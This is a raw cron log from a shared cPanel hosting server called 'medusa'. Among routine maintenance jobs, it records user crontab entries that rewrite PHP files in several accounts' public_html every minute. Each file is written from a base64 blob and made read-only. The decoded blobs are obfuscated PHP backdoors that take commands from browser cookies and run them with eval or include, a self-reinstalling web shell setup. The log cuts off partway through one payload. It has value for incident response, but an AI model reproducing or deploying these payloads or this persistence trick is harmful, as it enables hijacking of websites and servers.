Jun  7 11:05:02 medusa CROND[18309]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:05:02 medusa CROND[18310]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:05:02 medusa CROND[18307]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 11:05:02 medusa CROND[18308]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 11:05:02 medusa CROND[18318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 11:05:02 medusa CROND[18320]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:05:02 medusa CROND[18322]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:05:02 medusa CROND[18324]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 11:05:02 medusa CROND[18326]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:05:02 medusa CROND[18313]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 11:05:02 medusa CROND[18317]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:05:02 medusa CROND[18330]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:05:02 medusa CROND[18319]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 11:05:02 medusa CROND[18331]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 11:05:02 medusa CROND[18312]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 11:05:02 medusa CROND[18321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:05:02 medusa CROND[18332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 11:05:02 medusa CROND[18311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 11:06:02 medusa CROND[19945]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 11:06:02 medusa CROND[19997]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 11:06:02 medusa CROND[20007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 11:06:02 medusa CROND[20006]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:06:02 medusa CROND[20008]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 11:06:02 medusa CROND[20009]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:06:02 medusa CROND[20010]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:06:02 medusa CROND[20012]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 11:06:02 medusa CROND[20013]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 11:06:02 medusa CROND[20014]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:06:02 medusa CROND[20015]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 11:06:02 medusa CROND[20028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:06:02 medusa CROND[20030]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 11:06:02 medusa CROND[20031]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 11:06:02 medusa CROND[20032]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 11:07:02 medusa CROND[21479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 11:07:02 medusa CROND[21478]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 11:07:02 medusa CROND[21480]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAg